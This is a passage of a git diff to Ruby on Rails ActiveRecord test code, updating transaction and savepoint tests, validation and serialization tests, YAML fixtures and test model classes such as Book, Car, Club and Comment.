+      @first.save!
+      Topic.connection.create_savepoint("first")
+
+      @first.approved  = false
+      @first.save!
+      Topic.connection.rollback_to_savepoint("first")
+      assert @first.reload.approved?
+
+      @first.approved  = false
+      @first.save!
+      Topic.connection.release_savepoint("first")
+      assert_not @first.reload.approved?
+    end
+  end if Topic.connection.supports_savepoints?
+
+  def test_releasing_named_savepoints
+    Topic.transaction do
+      Topic.connection.create_savepoint("another")
+      Topic.connection.release_savepoint("another")
+
+      # The savepoint is now gone and we can't remove it again.
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Topic.connection.release_savepoint("another")
+      end
+    end
+  end
+
   def test_rollback_when_commit_raises
     Topic.connection.expects(:begin_db_transaction)
     Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
@@ -377,24 +427,35 @@ class TransactionTest < ActiveRecord::TestCase
     topic = Topic.new(:title => 'test')
     topic.freeze
     e = assert_raise(RuntimeError) { topic.save }
-    assert_equal "can't modify frozen Hash", e.message
+    assert_match(/frozen/i, e.message) # Not good enough, but we can't do much
+                                       # about it since there is no specific error
+                                       # for frozen objects.
     assert !topic.persisted?, 'not persisted'
     assert_nil topic.id
     assert topic.frozen?, 'not frozen'
   end
 
   def test_restore_active_record_state_for_all_records_in_a_transaction
+    topic_without_callbacks = Class.new(ActiveRecord::Base) do
+      self.table_name = 'topics'
+    end
+
     topic_1 = Topic.new(:title => 'test_1')
     topic_2 = Topic.new(:title => 'test_2')
+    topic_3 = topic_without_callbacks.new(:title => 'test_3')
+
     Topic.transaction do
       assert topic_1.save
       assert topic_2.save
+      assert topic_3.save
       @first.save
       @second.destroy
       assert topic_1.persisted?, 'persisted'
       assert_not_nil topic_1.id
       assert topic_2.persisted?, 'persisted'
       assert_not_nil topic_2.id
+      assert topic_3.persisted?, 'persisted'
+      assert_not_nil topic_3.id
       assert @first.persisted?, 'persisted'
       assert_not_nil @first.id
       assert @second.destroyed?, 'destroyed'
@@ -405,21 +466,13 @@ class TransactionTest < ActiveRecord::TestCase
     assert_nil topic_1.id
     assert !topic_2.persisted?, 'not persisted'
     assert_nil topic_2.id
+    assert !topic_3.persisted?, 'not persisted'
+    assert_nil topic_3.id
     assert @first.persisted?, 'persisted'
     assert_not_nil @first.id
     assert !@second.destroyed?, 'not destroyed'
   end
 
-  if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
-    def test_outside_transaction_works
-      assert assert_deprecated { Topic.connection.outside_transaction? }
-      Topic.connection.begin_db_transaction
-      assert assert_deprecated { !Topic.connection.outside_transaction? }
-      Topic.connection.rollback_db_transaction
-      assert assert_deprecated { Topic.connection.outside_transaction? }
-    end
-  end
-
   def test_sqlite_add_column_in_transaction
     return true unless current_adapter?(:SQLite3Adapter)
 
@@ -449,6 +502,13 @@ class TransactionTest < ActiveRecord::TestCase
         raise ActiveRecord::Rollback
       end
     end
+  ensure
+    begin
+      Topic.connection.remove_column('topics', 'stuff')
+    rescue
+    ensure
+      Topic.reset_column_information
+    end
   end
 
   def test_transactions_state_from_rollback
@@ -535,16 +595,16 @@ if current_adapter?(:PostgreSQLAdapter)
   class ConcurrentTransactionTest < TransactionTest
     # This will cause transactions to overlap and fail unless they are performed on
     # separate database connections.
-    def test_transaction_per_thread
-      assert_nothing_raised do
-        threads = (1..3).map do
+    unless in_memory_db?
+      def test_transaction_per_thread
+        threads = 3.times.map do
           Thread.new do
             Topic.transaction do
               topic = Topic.find(1)
               topic.approved = !topic.approved?
-              topic.save!
+              assert topic.save!
               topic.approved = !topic.approved?
-              topic.save!
+              assert topic.save!
             end
             Topic.connection.close
           end
@@ -603,14 +663,5 @@ if current_adapter?(:PostgreSQLAdapter)
 
       assert_equal original_salary, Developer.find(1).salary
     end
-
-    test "#transaction_joinable= is deprecated" do
-      Developer.transaction do
-        conn = Developer.connection
-        assert conn.current_transaction.joinable?
-        assert_deprecated { conn.transaction_joinable = false }
-        assert !conn.current_transaction.joinable?
-      end
-    end
   end
 end
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index 7e92a2b..602f633 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -10,29 +10,33 @@ require 'models/interest'
 class AssociationValidationTest < ActiveRecord::TestCase
   fixtures :topics, :owners
 
-  repair_validations(Topic, Reply, Owner)
+  repair_validations(Topic, Reply)
 
   def test_validates_size_of_association
-    assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-    o = Owner.new('name' => 'nopets')
-    assert !o.save
-    assert o.errors[:pets].any?
-    o.pets.build('name' => 'apet')
-    assert o.valid?
+    repair_validations Owner do
+      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors[:pets].any?
+      o.pets.build('name' => 'apet')
+      assert o.valid?
+    end
   end
 
   def test_validates_size_of_association_using_within
-    assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
-    o = Owner.new('name' => 'nopets')
-    assert !o.save
-    assert o.errors[:pets].any?
-
-    o.pets.build('name' => 'apet')
-    assert o.valid?
-
-    2.times { o.pets.build('name' => 'apet') }
-    assert !o.save
-    assert o.errors[:pets].any?
+    repair_validations Owner do
+      assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors[:pets].any?
+
+      o.pets.build('name' => 'apet')
+      assert o.valid?
+
+      2.times { o.pets.build('name' => 'apet') }
+      assert !o.save
+      assert o.errors[:pets].any?
+    end
   end
 
   def test_validates_associated_many
@@ -91,12 +95,14 @@ class AssociationValidationTest < ActiveRecord::TestCase
   end
 
   def test_validates_size_of_association_utf8
-    assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-    o = Owner.new('name' => 'あいうえおかきくけこ')
-    assert !o.save
-    assert o.errors[:pets].any?
-    o.pets.build('name' => 'あいうえおかきくけこ')
-    assert o.valid?
+    repair_validations Owner do
+      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+      o = Owner.new('name' => 'あいうえおかきくけこ')
+      assert !o.save
+      assert o.errors[:pets].any?
+      o.pets.build('name' => 'あいうえおかきくけこ')
+      assert o.valid?
+    end
   end
 
   def test_validates_presence_of_belongs_to_association__parent_is_new_record
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index 32d2bf7..13d4d85 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -3,7 +3,7 @@ require 'models/topic'
 
 class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
   def setup
-    Topic.reset_callbacks(:validate)
+    Topic.clear_validators!
     @topic = Topic.new
     I18n.backend = I18n::Backend::Simple.new
   end
@@ -55,22 +55,30 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
   end
 
   test "translation for 'taken' can be overridden" do
-    I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord model scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 
   test "translation for 'taken' can be overridden in activerecord attributes scope" do
-    I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
-    assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
+      assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+    end
   end
 end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 1de8934..3790d3c 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -3,6 +3,8 @@ require "cases/helper"
 require 'models/man'
 require 'models/face'
 require 'models/interest'
+require 'models/speedometer'
+require 'models/dashboard'
 
 class PresenceValidationTest < ActiveRecord::TestCase
   class Boy < Man; end
@@ -48,4 +50,18 @@ class PresenceValidationTest < ActiveRecord::TestCase
     i2.mark_for_destruction
     assert b.invalid?
   end
+
+  def test_validates_presence_doesnt_convert_to_array
+    Speedometer.validates_presence_of :dashboard
+
+    dash = Dashboard.new
+
+    # dashboard has to_a method
+    def dash.to_a; ['(/)', '(\)']; end
+
+    s = Speedometer.new
+    s.dashboard = dash
+
+    assert_nothing_raised { s.valid? }
+  end
 end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 5745735..74c696c 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -35,6 +35,11 @@ class Employee < ActiveRecord::Base
   validates_uniqueness_of :nicknames
 end
 
+class TopicWithUniqEvent < Topic
+  belongs_to :event, foreign_key: :parent_id
+  validates :event, uniqueness: true
+end
+
 class UniquenessValidationTest < ActiveRecord::TestCase
   fixtures :topics, 'warehouse-things', :developers
 
@@ -58,6 +63,14 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert t2.save, "Should now save t2 as unique"
   end
 
+  def test_validate_uniqueness_with_alias_attribute
+    Topic.alias_attribute :new_title, :title
+    Topic.validates_uniqueness_of(:new_title)
+
+    topic = Topic.new(new_title: 'abc')
+    assert topic.valid?
+  end
+
   def test_validates_uniqueness_with_nil_value
     Topic.validates_uniqueness_of(:title)
 
@@ -268,7 +281,7 @@ class UniquenessValidationTest < ActiveRecord::TestCase
   end
 
   def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
-    Topic.validates_uniqueness_of(:title, :case_sensitve => true)
+    Topic.validates_uniqueness_of(:title, :case_sensitive => true)
     Topic.create!('title' => 101)
 
     t2 = Topic.new('title' => 101)
@@ -365,15 +378,29 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     }
   end
 
-  def test_validate_uniqueness_with_array_column
-    return skip "Uniqueness on arrays has only been tested in PostgreSQL so far." if !current_adapter? :PostgreSQLAdapter
+  if current_adapter? :PostgreSQLAdapter
+    def test_validate_uniqueness_with_array_column
+      e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
+      assert e1.persisted?, "Saving e1"
 
-    e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
-    assert e1.persisted?, "Saving e1"
+      e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
+      assert !e2.persisted?, "e2 shouldn't be valid"
+      assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
+      assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+    end
+  end
+
+  def test_validate_uniqueness_on_existing_relation
+    event = Event.create
+    assert TopicWithUniqEvent.create(event: event).valid?
+
+    topic = TopicWithUniqEvent.new(event: event)
+    assert_not topic.valid?
+    assert_equal ['has already been taken'], topic.errors[:event]
+  end
 
-    e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
-    assert !e2.persisted?, "e2 shouldn't be valid"
-    assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
-    assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+  def test_validate_uniqueness_on_empty_relation
+    topic = TopicWithUniqEvent.new
+    assert topic.valid?
   end
 end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3f587d1..de61890 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -56,13 +56,11 @@ class ValidationsTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
     assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
 
-    begin
-      r = WrongReply.new
+    r = WrongReply.new
+    invalid = assert_raise ActiveRecord::RecordInvalid do
       r.save!
-      flunk
-    rescue ActiveRecord::RecordInvalid => invalid
-      assert_equal r, invalid.record
     end
+    assert_equal r, invalid.record
   end
 
   def test_exception_on_create_bang_many
@@ -93,7 +91,7 @@ class ValidationsTest < ActiveRecord::TestCase
     assert reply.save(:validate => false)
   end
 
-  def test_validates_acceptance_of_with_non_existant_table
+  def test_validates_acceptance_of_with_non_existent_table
     Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
 
     assert_nothing_raised ActiveRecord::StatementInvalid do
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 68fa15d..78fa2f9 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -161,21 +161,17 @@ end
 
 class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
   def test_should_serialize_datetime_with_timezone
-    timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
-    toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
-    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
-  ensure
-    Time.zone = timezone
+    with_timezone_config zone: "Pacific Time (US & Canada)" do
+      toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
+      assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    end
   end
 
   def test_should_serialize_datetime_with_timezone_reloaded
-    timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
-    toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
-    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
-  ensure
-    Time.zone = timezone
+    with_timezone_config zone: "Pacific Time (US & Canada)" do
+      toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
+      assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    end
   end
 end
 
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 302913e..15815d5 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -5,16 +5,10 @@ class YamlSerializationTest < ActiveRecord::TestCase
   fixtures :topics
 
   def test_to_yaml_with_time_with_zone_should_not_raise_exception
-    tz = Time.zone
-    Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
-    ActiveRecord::Base.time_zone_aware_attributes = true
-
-    topic = Topic.new(:written_on => DateTime.now)
-    assert_nothing_raised { topic.to_yaml }
-
-  ensure
-    Time.zone = tz
-    ActiveRecord::Base.time_zone_aware_attributes = false
+    with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+      topic = Topic.new(:written_on => DateTime.now)
+      assert_nothing_raised { topic.to_yaml }
+    end
   end
 
   def test_roundtrip
@@ -49,4 +43,8 @@ class YamlSerializationTest < ActiveRecord::TestCase
     t = Psych.load Psych.dump topic
     assert_equal topic.attributes, t.attributes
   end
+
+  def test_active_record_relation_serialization
+    [Topic.all].to_yaml
+  end
 end
diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
index fb48645..abe5675 100644
--- a/activerecord/test/fixtures/books.yml
+++ b/activerecord/test/fixtures/books.yml
@@ -2,8 +2,10 @@ awdr:
   author_id: 1
   id: 1
   name: "Agile Web Development with Rails"
+  format: "paperback"
 
 rfr:
   author_id: 1
   id: 2
   name: "Ruby for Rails"
+  format: "ebook"
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index 0766e92..ab9d537 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -57,3 +57,11 @@ odegy:
   id: 9
   name: Odegy
   type: ExclusivelyDependentFirm
+
+another_first_firm_client:
+  id: 11
+  type: Client
+  firm_id: 1
+  client_of: 1
+  name: Apex
+  firm_name: 37signals
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
index daf969d..7281a4d 100644
--- a/activerecord/test/fixtures/computers.yml
+++ b/activerecord/test/fixtures/computers.yml
@@ -1,4 +1,5 @@
 workstation:
   id: 1
+  system: 'Linux'
   developer: 1
   extendedWarranty: 1
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
index 2d21ce4..3b7b29b 100644
--- a/activerecord/test/fixtures/owners.yml
+++ b/activerecord/test/fixtures/owners.yml
@@ -2,6 +2,7 @@ blackbeard:
   owner_id: 1
   name: blackbeard
   essay_id: A Modest Proposal
+  happy_at: '2150-10-10 16:00:00'
 
 ashley:
   owner_id: 2
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
index bfc6b23..2da541c 100644
--- a/activerecord/test/fixtures/sponsors.yml
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -8,5 +8,5 @@ boring_club_sponsor_for_groucho:
   sponsorable_type: Member
 crazy_club_sponsor_for_groucho:
   sponsor_club: crazy_club
-  sponsorable_id: 2
+  sponsorable_id: 3
   sponsorable_type: Member
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 2b042bd..bf049ab 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -40,3 +40,10 @@ fourth:
   type: Reply
   parent_id: 3
 
+fifth:
+  id: 5
+  title: The Fifth Topic of the day
+  author_name: Jason
+  written_on: 2013-07-13t12:11:00.0099+01:00
+  content: Omakase
+  approved: true
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000..9d46485
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,8 @@
+class MigrationVersionCheck < ActiveRecord::Migration
+  def self.up
+    raise "incorrect migration version" unless version == 20131219224947
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 4c3b71e..48a110b 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -14,6 +14,7 @@ class Admin::User < ActiveRecord::Base
   end
 
   belongs_to :account
+  store :params, accessors: [ :token ], coder: YAML
   store :settings, :accessors => [ :color, :homepage ]
   store_accessor :settings, :favorite_food
   store :preferences, :accessors => [ :remember_login ]
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index 0e28cd4..c197951 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -8,9 +8,7 @@ class Author < ActiveRecord::Base
   has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
   has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
   has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
-  has_many :posts_containing_the_letter_a, :class_name => "Post"
   has_many :posts_with_special_categorizations, :class_name => 'PostWithSpecialCategorization'
-  has_many :posts_with_extension, :class_name => "Post"
   has_one  :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
   has_one  :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
   has_many :comments, through: :posts do
@@ -31,7 +29,7 @@ class Author < ActiveRecord::Base
   has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
   has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
 
-  has_many :welcome_posts_with_comment,
+  has_many :welcome_posts_with_one_comment,
            -> { where(title: 'Welcome to the weblog').where('comments_count = ?', 1) },
            class_name: 'Post'
   has_many :welcome_posts_with_comments,
@@ -39,7 +37,6 @@ class Author < ActiveRecord::Base
            class_name: 'Post'
 
   has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
-  has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
   has_many :funky_comments, :through => :posts, :source => :comments
   has_many :ordered_uniq_comments, -> { distinct.order('comments.id') }, :through => :posts, :source => :comments
   has_many :ordered_uniq_comments_desc, -> { distinct.order('comments.id DESC') }, :through => :posts, :source => :comments
@@ -96,7 +93,7 @@ class Author < ActiveRecord::Base
   has_many :author_favorites
   has_many :favorite_authors, -> { order('name') }, :through => :author_favorites
 
-  has_many :taggings,        :through => :posts
+  has_many :taggings,        :through => :posts, :source => :taggings
   has_many :taggings_2,      :through => :posts, :source => :tagging
   has_many :tags,            :through => :posts
   has_many :post_categories, :through => :posts, :source => :categories
diff --git a/activerecord/test/models/auto_id.rb b/activerecord/test/models/auto_id.rb
index d720e2b..82c6544 100644
--- a/activerecord/test/models/auto_id.rb
+++ b/activerecord/test/models/auto_id.rb
@@ -1,4 +1,4 @@
 class AutoId < ActiveRecord::Base
-  def self.table_name () "auto_id_tests" end
-  def self.primary_key () "auto_id" end
+  self.table_name = "auto_id_tests"
+  self.primary_key = "auto_id"
 end
diff --git a/activerecord/test/models/book.rb b/activerecord/test/models/book.rb
index 5458a28..2170018 100644
--- a/activerecord/test/models/book.rb
+++ b/activerecord/test/models/book.rb
@@ -2,8 +2,17 @@ class Book < ActiveRecord::Base
   has_many :authors
 
   has_many :citations, :foreign_key => 'book1_id'
-  has_many :references, -> { distinct }, :through => :citations, :source => :reference_of
+  has_many :references, -> { distinct }, through: :citations, source: :reference_of
 
   has_many :subscriptions
-  has_many :subscribers, :through => :subscriptions
+  has_many :subscribers, through: :subscriptions
+
+  enum status: [:proposed, :written, :published]
+  enum read_status: {unread: 0, reading: 2, read: 3}
+  enum nullable_status: [:single, :married]
+
+  def published!
+    super
+    "do publish work..."
+  end
 end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 0109ef4..831a0d5 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -37,3 +37,15 @@ class CustomBulb < Bulb
     self.frickinawesome = true if name == 'Dude'
   end
 end
+
+class FunkyBulb < Bulb
+  before_destroy do
+    raise "before_destroy was called"
+  end
+end
+
+class FailedBulb < Bulb
+  before_destroy do
+    false
+  end
+end
diff --git a/activerecord/test/models/car.rb b/activerecord/test/models/car.rb
index ac42f44..db0f93f 100644
--- a/activerecord/test/models/car.rb
+++ b/activerecord/test/models/car.rb
@@ -1,11 +1,11 @@
 class Car < ActiveRecord::Base
-
   has_many :bulbs
+  has_many :all_bulbs, -> { unscope where: :name }, class_name: "Bulb"
+  has_many :funky_bulbs, class_name: 'FunkyBulb', dependent: :destroy
+  has_many :failed_bulbs, class_name: 'FailedBulb', dependent: :destroy
   has_many :foo_bulbs, -> { where(:name => 'foo') }, :class_name => "Bulb"
-  has_many :frickinawesome_bulbs, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_one :bulb
-  has_one :frickinawesome_bulb, -> { where :frickinawesome => true }, :class_name => "Bulb"
 
   has_many :tyres
   has_many :engines, :dependent => :destroy
@@ -15,7 +15,6 @@ class Car < ActiveRecord::Base
   scope :incl_engines, -> { includes(:engines) }
 
   scope :order_using_new_style,  -> { order('name asc') }
-
 end
 
 class CoolCar < Car
diff --git a/activerecord/test/models/category.rb b/activerecord/test/models/category.rb
index 7da39a8..272223e 100644
--- a/activerecord/test/models/category.rb
+++ b/activerecord/test/models/category.rb
@@ -22,6 +22,7 @@ class Category < ActiveRecord::Base
   end
 
   has_many :categorizations
+  has_many :special_categorizations
   has_many :post_comments, :through => :posts, :source => :comments
 
   has_many :authors, :through => :categorizations
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
index 545aa81..3d87eb7 100644
--- a/activerecord/test/models/citation.rb
+++ b/activerecord/test/models/citation.rb
@@ -1,6 +1,3 @@
 class Citation < ActiveRecord::Base
   belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
-
-  belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
-  belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
 end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
index 24a65b0..6ceafe5 100644
--- a/activerecord/test/models/club.rb
+++ b/activerecord/test/models/club.rb
@@ -1,15 +1,23 @@
 class Club < ActiveRecord::Base
   has_one :membership
-  has_many :memberships
+  has_many :memberships, :inverse_of => false
   has_many :members, :through => :memberships
-  has_many :current_memberships
   has_one :sponsor
   has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
   belongs_to :category
 
+  has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+
   private
 
   def private_method
     "I'm sorry sir, this is a *private* club, not a *pirate* club"
   end
 end
+
+class SuperClub < ActiveRecord::Base
+  self.table_name = "clubs"
+
+  has_many :memberships, class_name: 'SuperMembership', foreign_key: 'club_id'
+  has_many :members, through: :memberships
+end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
index c7495d7..501af4a 100644
--- a/activerecord/test/models/college.rb
+++ b/activerecord/test/models/college.rb
@@ -1,5 +1,10 @@
 require_dependency 'models/arunit2_model'
+require 'active_support/core_ext/object/with_options'
 
 class College < ARUnit2Model
   has_many :courses
+
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :students, -> { where(active: true) }
+  end
 end
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
new file mode 100644
index 0000000..499358b
--- /dev/null
+++ b/activerecord/test/models/column.rb
@@ -0,0 +1,3 @@
+class Column < ActiveRecord::Base
+  belongs_to :record
+end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
index ec07205..460eb4f 100644
--- a/activerecord/test/models/column_name.rb
+++ b/activerecord/test/models/column_name.rb
@@ -1,3 +1,3 @@
 class ColumnName < ActiveRecord::Base
-  def self.table_name () "colnametests" end
-end
\ No newline at end of file
+  self.table_name = "colnametests"
+end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
index ede5fbd..1597075 100644
--- a/activerecord/test/models/comment.rb
+++ b/activerecord/test/models/comment.rb
@@ -7,6 +7,9 @@ class Comment < ActiveRecord::Base
   scope :created, -> { all }
 
   belongs_to :post, :counter_cache => true
+  belongs_to :author,   polymorphic: true
+  belongs_to :resource, polymorphic: true
+
   has_many :ratings
 
   belongs_to :first_post, :foreign_key => :post_id
@@ -26,6 +29,10 @@ class Comment < ActiveRecord::Base
     all
   end
   scope :all_as_scope, -> { all }
+
+  def to_s
+    body
+  end
 end
 
 class SpecialComment < Comment
@@ -36,3 +43,11 @@ end
 
 class VerySpecialComment < Comment
 end
+
+class CommentThatAutomaticallyAltersPostBody < Comment
+  belongs_to :post, class_name: "PostThatLoadsCommentsInAnAfterSaveHook", foreign_key: :post_id
+
+  after_save do |comment|
+    comment.post.update_attributes(body: "Automatically altered")
+  end
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 3cb99f6..76411ec 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -40,13 +40,9 @@ module Namespaced
 end
 
 class Firm < Company
-  ActiveSupport::Deprecation.silence do
-    has_many :clients, -> { order "id" }, :dependent => :destroy, :counter_sql =>
-        "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
-        "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
-        :before_remove => :log_before_remove,
-        :after_remove  => :log_after_remove
-  end
+  to_param :name
+
+  has_many :clients, -> { order "id" }, :dependent => :destroy, :before_remove => :log_before_remove, :after_remove  => :log_after_remove
   has_many :unsorted_clients, :class_name => "Client"
   has_many :unsorted_clients_with_symbol, :class_name => :Client
   has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
@@ -59,21 +55,7 @@ class Firm < Company
   has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, :class_name => "Client"
   has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
